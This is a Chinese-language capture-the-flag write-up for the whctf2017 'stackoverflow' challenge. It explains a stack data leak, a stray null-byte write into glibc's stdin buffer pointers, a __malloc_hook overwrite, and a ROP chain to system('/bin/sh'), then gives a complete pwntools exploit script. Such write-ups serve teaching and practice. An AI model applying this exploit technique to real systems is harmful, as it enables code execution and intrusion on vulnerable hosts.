whctf2017-stackoverflow

point

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall input_data(char *input, int count)
{
unsigned int ret_value; // [rsp+14h] [rbp-Ch]

ret_value = read(0, input, count);
if ( (ret_value & 0x80000000) != 0 )
{
printf("Error!", input);
exit(0);
}
return ret_value;
}

读取的字符串的时候末尾没有置0,紧接后面的内容可以泄露,根据下面可以泄露栈上的数据。

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 leak_name_input()
{
char name[80]; // [rsp+0h] [rbp-70h]
unsigned __int64 v2; // [rsp+68h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("leave your name, bro:");
input_data(name, 0x50);
printf("worrier %s, now begin your challenge", name);
return __readfsqword(0x28u) ^ v2;
}

next point

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 main_func()
{
int size; // [rsp+8h] [rbp-18h]
int temp; // [rsp+Ch] [rbp-14h]
void *ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("please input the size to trigger stackoverflow: ");
_isoc99_scanf("%d", &size);
IO_getc(stdin);
temp = size;
while ( size > 0x300000 )
{
puts("too much bytes to do stackoverflow.");
printf("please input the size to trigger stackoverflow: ");
_isoc99_scanf("%d", &size);
IO_getc(stdin);
}
ptr = malloc(0x28uLL);
global_ptr = (char *)malloc(size + 1);
if ( !global_ptr )
{
printf("Error!", &size);
exit(0);
}
printf("padding and ropchain: ", &size);
input_data(global_ptr, size);
global_ptr[temp] = 0;
return 0LL;
}

这个地方global_ptr[temp] = 0; temp值等于size,取得是第一次输入的size,并不是最后一次的size,所以这个地方是可以在大于0x300000的某一位置写\x00的。

思路

这个地方没有free并且写的地方偏移是比较大的。从堆上偏移往前写,去什么地方写00能改变程序的走向呢?堆上往前偏移,libc的内存上写,写一个00是为了写更多的数据,关键这个地方巧合的地方来了。

图片

可以看到在0x7f605741f900 的位置这个地方是_IO_2_1_stdin_+64即_IO_buf_end的位置。_IO_buf_base 的值为0x00007f605741f943,如果我把它最低位的字节置为,恰好会变成stdin中IO_buf_end的位置。这个时候扩大了缓冲区,再产生输入的时候,会从IO_buf_base的地方接受数据,即会覆盖_IO_buf_end的指向,进一步扩大输入缓冲。当我们的输入缓存边界足够大 的时候,这个时候可以考虑覆盖_malloc_hook的值,next malloc的时候,我们就可以控制的程序的走向。

再接着考虑什么时候会用到输入缓冲。我们程序中绝大部分都是直接read,都是直接的系统调用没有用到stdin结构里面的buf,但是这里scanf和IO_getc确实用到了流的结构,我思考过一个问题,这里在最开始用setvbuf把stdin输入缓冲置0了,为啥这里stdin的输入缓冲不是0,而是长度1呢?难道在fread读输入的是一字节一字节的不停的系统调用吗?当然不是,在freed,会直接循环直接调用read去读当前需要的数据量,直到读完到需求量位置。

那么这里scanf是否也和freed一样不回使用输入缓存呢,这里确实相反的,scanf却使用了一字节的输入缓存。其实仔细想想这样做也没什么问题,scanf本来就是1字节1字节处理的。IO_getc也一样同样是1字节。所以这道题的关键点在于

1
2
_isoc99_scanf("%d", &size);
IO_getc(stdin);

就这两个地方用到输入缓存的机制,在scanf后面接一个getc其实是很常见的事情,IO_getc是用来吃scanf最后一位没用到的字符比如'',所以这里我们的思路先对_IO_buf_base写00再,扩大输入缓冲,覆盖_IO_buf_end,最后写_malloc_hook,第一想法就是对_malloc_hook写one_gadget,但是这里one_gadget条件是满足不了的。这里有一个很好的思路,调用前面的input_name,造成栈溢出用rop。

这里的栈的结构你如果不调直接看的话也可以。覆盖是read的返回地址。如下图

全部思路如上,接着上exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
from pwn_debug import *
from pwn import *

pdbg=pwn_debug("stackoverflow")
pdbg.context.terminal=['tmux', 'splitw', '-h']

#pdbg.local('/root/ctf/ctf-challenges/pwn/pwn_category-master/IO_FILE/arbitrary_read_write/whctf2017-stackoverflow/libc-2.24.so')
pdbg.local()
#pdbg.debug("2.24")
#pdbg.remote('127.0.0.1', 22)
#p=pdbg.run("local")
#p=pdbg.run("remote")
p=pdbg.run("local")
membp=pdbg.membp
#print type(pdbg.membp)
#print pdbg.hh
#print hex(membp.elf_base),hex(membp.libc_base)
elf=pdbg.elf
libc=ELF('/root/ctf/ctf-challenges/pwn/pwn_category-master/IO_FILE/arbitrary_read_write/whctf2017-stackoverflow/libc.so.6')
#a=IO_FILE_plus()
#print a
#a.show()
#print a._IO_read_base
#print pdbg.local_libc_path
#print libc


def malloc_one(size=0,data="",real_size=0,flag=False):
p.recvuntil("flow: ")
p.sendline(str(size))
if flag:
p.recvuntil("ckoverflow: ")
p.sendline(str(real_size))
p.recvuntil("ropchain:")
p.send(data)

def evil_write(data):
p.recvuntil("flow:")
p.send(data)

def flush_buff(size):
for i in range(0,size):
#p.recvuntil("padding and ropchain: ")
p.recvuntil("stackoverflow")
p.sendline('a')
def pwn():


#pdbg.bp([0x400a2f,0x400a45])
#raw_input()
p.recvuntil("bro:")
p.send("a"*8)
p.recvuntil("a"*8)
# _IO_default_setbuf = 0x7DD10
#libc_base=u64(p.recvuntil(", ")[:-2].ljust(8,'\x00'))-libc.symbols['_IO_default_setbuf']-66
#这里需要你自己去调,你才知道栈上后8字节是_IO_default_setbuf+66
libc_base=u64(p.recvuntil(", ")[:-2].ljust(8,'\x00'))-0x7DD10-66
log.info("leak libc address: %s"%hex(libc_base))
io_stdin=libc_base+libc.symbols['_IO_2_1_stdin_']
io_stdin_end=libc_base+libc.symbols['_IO_2_1_stdin_']+0xe0+0x10
malloc_hook=libc_base+libc.symbols['__malloc_hook']
log.info("_malloc_hook address: %s"%hex(malloc_hook))
rce=libc_base+0x3f4b6
evil_jmp=libc_base+0x5E492
log.info("one gadget address: %s"%hex(rce))

#pdbg.bp([0x4009dc,0x4008ff,0x40090e])
io_buf_base=io_stdin+7*8
io_buf_end=io_buf_base+8
log.info("stdin address: %s"%hex(libc_base+libc.symbols['_IO_2_1_stdin_']))
size=libc.symbols['_IO_2_1_stdin_']+7*8+0x200000-0x10
#malloc(0x200000),分配的堆内存块会紧贴着libc的base
#-0x1000因为还有chunk_head,不足0x1000分配0x1000
real_size=0x200000-0x1000
raw_input('bbb')
malloc_one(size,'123',real_size,True)
raw_input('aaa')
#pdbg.bp(0x4008ff)
#flush_buff(8)
#_IO_buf_base = malloc_hook+8
p.send(p64(malloc_hook+8))
# 原raycp师傅这里写的是flush_buff(8),可能会引起误解,其实只又刷新了7次即_IO_read_ptr+7
# 因为flush_buff 中的revcuntil 这里原来的内容为被注释的部分,会存在一个小竞争。所以这里改写了一下
flush_buff(7)

#lock_addr = 0x3c3770
#vtable = 0x3be400
#io_file_jumps=libc_base+libc.symbols['__GI__IO_file_jumps']
io_file_jumps=libc_base+0x3be400
binsh_addr=libc_base+next(libc.search("/bin/sh"))
system_addr=libc_base+libc.symbols['system']

#lock_addr=libc_base+libc.symbols['_IO_stdfile_0_lock']
lock_addr=libc_base+0x3c3770

#覆盖stdin的buf实际上是指向stdin结构上的,这里是不破坏原stdin的结构

fake_file=IO_FILE_plus()
fake_file._old_offset= 0xffffffffffffff00
fake_file._lock= lock_addr
fake_file._IO_buf_end=malloc_hook+8
fake_file.vtable=io_file_jumps
file_data=str(fake_file)

fake_file.show()
#计算需要填充的padding
payload=file_data[fake_file.offset('_IO_buf_end'):]
payload=payload.ljust(malloc_hook-io_buf_end,'\x00')
#最后覆盖_malloc_hook
#.text:0000000000400A23 lea rax, [rbp+name]
#.text:0000000000400A27 mov esi, 50h ; count
#.text:0000000000400A2C mov rdi, rax ; input
#.text:0000000000400A2F call input_data
payload+=p64(0x400a23)


#pdbg.bp(0x4008ff)
p.recvuntil(" trigger stackoverflow: ")
p.send(payload)

raw_input("get shell>")
#rop system('/bin/sh')
prdi_ret=0x0000000000400b43 #: pop rdi ; ret
payload='a'*0x10+p64(prdi_ret)+p64(binsh_addr)+p64( system_addr)
#trigger malloc
p.send(payload)

p.interactive() #get the shell

if __name__ == '__main__':
pwn()

安利一下raycp的pwn_debug,真的很方便,特别是不同libc的加载和io结构的构造上,你不用再去计算某一段对应的偏移。